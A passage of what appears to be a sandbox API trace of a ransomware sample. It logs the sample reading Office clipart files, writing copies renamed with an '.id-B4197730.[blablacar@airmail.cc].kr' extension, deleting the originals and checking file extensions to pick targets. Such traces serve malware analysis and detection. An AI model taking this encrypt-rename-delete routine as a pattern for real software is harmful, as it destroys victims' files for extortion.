Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0208.402] lstrlenW (lpString=".dbf") returned 4 [0208.402] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0208.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0208.402] lstrlenW (lpString=".1cd") returned 4 [0208.402] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0208.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0208.402] lstrlenW (lpString=".jpg") returned 4 [0208.402] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0208.402] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0208.402] lstrlenW (lpString="J0105710.WMF") returned 12 [0208.402] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105710.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0208.403] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=13808) returned 1 [0208.403] CloseHandle (hObject=0x554) returned 1 [0208.403] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105710.wmf")) returned 0x220 [0208.403] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105710.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0208.404] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105710.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0208.404] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.404] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.404] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105710.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0208.405] GetLastError () returned 0x0 [0208.405] ReadFile (in: hFile=0x554, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x35f0, lpOverlapped=0x0) returned 1 [0208.407] WriteFile (in: hFile=0x3c4, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x3600, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x3600, lpOverlapped=0x0) returned 1 [0208.408] ReadFile (in: hFile=0x554, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0208.408] WriteFile (in: hFile=0x3c4, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0208.408] SetEndOfFile (hFile=0x3c4) returned 1 [0208.408] CloseHandle (hObject=0x3c4) returned 1 [0208.408] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.408] SetEndOfFile (hFile=0x554) returned 1 [0208.412] CloseHandle (hObject=0x554) returned 1 [0208.412] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0208.412] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105710.wmf")) returned 1 [0208.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0208.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0208.413] lstrlenW (lpString=".doc") returned 4 [0208.413] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0208.413] lstrlenW (lpString=".docx") returned 5 [0208.413] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0208.413] lstrlenW (lpString=".pdf") returned 4 [0208.413] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0208.413] lstrlenW (lpString=".xls") returned 4 [0208.413] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0208.413] lstrlenW (lpString=".xlsx") returned 5 [0208.413] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0208.413] lstrlenW (lpString=".ppt") returned 4 [0208.413] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0208.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0208.413] lstrlenW (lpString=".zip") returned 4 [0208.413] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0208.414] lstrlenW (lpString=".rar") returned 4 [0208.414] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0208.414] lstrlenW (lpString=".bz2") returned 4 [0208.414] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0208.414] lstrlenW (lpString=".7z") returned 3 [0208.414] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0208.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0208.414] lstrlenW (lpString=".dbf") returned 4 [0208.414] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0208.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0208.414] lstrlenW (lpString=".1cd") returned 4 [0208.414] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0208.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0208.414] lstrlenW (lpString=".jpg") returned 4 [0208.414] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0208.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0208.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0208.414] lstrlenW (lpString=".doc") returned 4 [0208.414] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0208.414] lstrlenW (lpString=".docx") returned 5 [0208.414] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0208.414] lstrlenW (lpString=".pdf") returned 4 [0208.414] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0208.414] lstrlenW (lpString=".xls") returned 4 [0208.414] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0208.414] lstrlenW (lpString=".xlsx") returned 5 [0208.414] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0208.414] lstrlenW (lpString=".ppt") returned 4 [0208.414] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0208.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0208.414] lstrlenW (lpString=".zip") returned 4 [0208.415] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0208.415] lstrlenW (lpString=".rar") returned 4 [0208.415] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0208.415] lstrlenW (lpString=".bz2") returned 4 [0208.415] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0208.415] lstrlenW (lpString=".7z") returned 3 [0208.415] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0208.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0208.415] lstrlenW (lpString=".dbf") returned 4 [0208.415] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0208.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0208.415] lstrlenW (lpString=".1cd") returned 4 [0208.415] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0208.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0208.415] lstrlenW (lpString=".jpg") returned 4 [0208.415] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0208.415] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0208.415] lstrlenW (lpString="J0105846.WMF") returned 12 [0208.415] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105846.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0208.416] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=8240) returned 1 [0208.416] CloseHandle (hObject=0x554) returned 1 [0208.417] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105846.wmf")) returned 0x220 [0208.417] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105846.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0208.417] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105846.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0208.417] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.417] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.417] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105846.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0208.418] GetLastError () returned 0x0 [0208.418] ReadFile (in: hFile=0x554, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x2030, lpOverlapped=0x0) returned 1 [0208.419] WriteFile (in: hFile=0x3c4, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x2040, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x2040, lpOverlapped=0x0) returned 1 [0208.421] ReadFile (in: hFile=0x554, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0208.421] WriteFile (in: hFile=0x3c4, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0208.421] SetEndOfFile (hFile=0x3c4) returned 1 [0208.421] CloseHandle (hObject=0x3c4) returned 1 [0208.421] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.421] SetEndOfFile (hFile=0x554) returned 1 [0208.424] CloseHandle (hObject=0x554) returned 1 [0208.424] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0208.424] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105846.wmf")) returned 1 [0208.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0208.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0208.425] lstrlenW (lpString=".doc") returned 4 [0208.425] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0208.425] lstrlenW (lpString=".docx") returned 5 [0208.425] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0208.425] lstrlenW (lpString=".pdf") returned 4 [0208.425] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0208.425] lstrlenW (lpString=".xls") returned 4 [0208.426] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0208.426] lstrlenW (lpString=".xlsx") returned 5 [0208.426] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0208.426] lstrlenW (lpString=".ppt") returned 4 [0208.426] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0208.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0208.426] lstrlenW (lpString=".zip") returned 4 [0208.426] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0208.426] lstrlenW (lpString=".rar") returned 4 [0208.426] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0208.426] lstrlenW (lpString=".bz2") returned 4 [0208.426] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0208.426] lstrlenW (lpString=".7z") returned 3 [0208.426] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0208.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0208.426] lstrlenW (lpString=".dbf") returned 4 [0208.426] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0208.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0208.426] lstrlenW (lpString=".1cd") returned 4 [0208.426] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0208.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0208.426] lstrlenW (lpString=".jpg") returned 4 [0208.426] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0208.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0208.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0208.427] lstrlenW (lpString=".doc") returned 4 [0208.427] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0208.427] lstrlenW (lpString=".docx") returned 5 [0208.427] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0208.427] lstrlenW (lpString=".pdf") returned 4 [0208.427] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0208.427] lstrlenW (lpString=".xls") returned 4 [0208.427] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0208.427] lstrlenW (lpString=".xlsx") returned 5 [0208.427] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0208.427] lstrlenW (lpString=".ppt") returned 4 [0208.427] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0208.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0208.427] lstrlenW (lpString=".zip") returned 4 [0208.427] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0208.427] lstrlenW (lpString=".rar") returned 4 [0208.427] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0208.427] lstrlenW (lpString=".bz2") returned 4 [0208.427] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0208.427] lstrlenW (lpString=".7z") returned 3 [0208.427] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0208.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0208.427] lstrlenW (lpString=".dbf") returned 4 [0208.427] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0208.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0208.427] lstrlenW (lpString=".1cd") returned 4 [0208.427] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0208.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0208.427] lstrlenW (lpString=".jpg") returned 4 [0208.427] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0208.428] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0208.428] lstrlenW (lpString="J0105912.WMF") returned 12 [0208.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105912.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0208.428] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=11720) returned 1 [0208.428] CloseHandle (hObject=0x554) returned 1 [0208.429] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105912.wmf")) returned 0x220 [0208.429] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105912.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0208.429] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105912.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0208.429] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.429] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.429] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105912.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0208.430] GetLastError () returned 0x0 [0208.430] ReadFile (in: hFile=0x554, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x2dc8, lpOverlapped=0x0) returned 1 [0208.917] WriteFile (in: hFile=0x3c4, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x2dd0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x2dd0, lpOverlapped=0x0) returned 1 [0208.918] ReadFile (in: hFile=0x554, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0208.918] WriteFile (in: hFile=0x3c4, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0208.918] SetEndOfFile (hFile=0x3c4) returned 1 [0208.918] CloseHandle (hObject=0x3c4) returned 1 [0208.919] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.919] SetEndOfFile (hFile=0x554) returned 1 [0208.922] CloseHandle (hObject=0x554) returned 1 [0208.922] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0209.146] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105912.wmf")) returned 1 [0209.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0209.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0209.317] lstrlenW (lpString=".doc") returned 4 [0209.317] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0209.317] lstrlenW (lpString=".docx") returned 5 [0209.317] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0209.317] lstrlenW (lpString=".pdf") returned 4 [0209.317] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0209.317] lstrlenW (lpString=".xls") returned 4 [0209.317] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0209.317] lstrlenW (lpString=".xlsx") returned 5 [0209.317] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0209.317] lstrlenW (lpString=".ppt") returned 4 [0209.317] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0209.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0209.317] lstrlenW (lpString=".zip") returned 4 [0209.317] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0209.317] lstrlenW (lpString=".rar") returned 4 [0209.317] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0209.317] lstrlenW (lpString=".bz2") returned 4 [0209.317] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0209.317] lstrlenW (lpString=".7z") returned 3 [0209.317] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0209.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0209.317] lstrlenW (lpString=".dbf") returned 4 [0209.317] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0209.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0209.317] lstrlenW (lpString=".1cd") returned 4 [0209.318] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0209.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0209.318] lstrlenW (lpString=".jpg") returned 4 [0209.318] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0209.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0209.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0209.318] lstrlenW (lpString=".doc") returned 4 [0209.318] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0209.318] lstrlenW (lpString=".docx") returned 5 [0209.318] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0209.318] lstrlenW (lpString=".pdf") returned 4 [0209.318] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0209.318] lstrlenW (lpString=".xls") returned 4 [0209.318] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0209.318] lstrlenW (lpString=".xlsx") returned 5 [0209.318] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0209.318] lstrlenW (lpString=".ppt") returned 4 [0209.318] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0209.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0209.318] lstrlenW (lpString=".zip") returned 4 [0209.318] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0209.318] lstrlenW (lpString=".rar") returned 4 [0209.318] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0209.318] lstrlenW (lpString=".bz2") returned 4 [0209.318] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0209.318] lstrlenW (lpString=".7z") returned 3 [0209.318] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0209.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0209.318] lstrlenW (lpString=".dbf") returned 4 [0209.318] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0209.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0209.318] lstrlenW (lpString=".1cd") returned 4 [0209.319] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0209.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0209.319] lstrlenW (lpString=".jpg") returned 4 [0209.319] lstrcmpiW 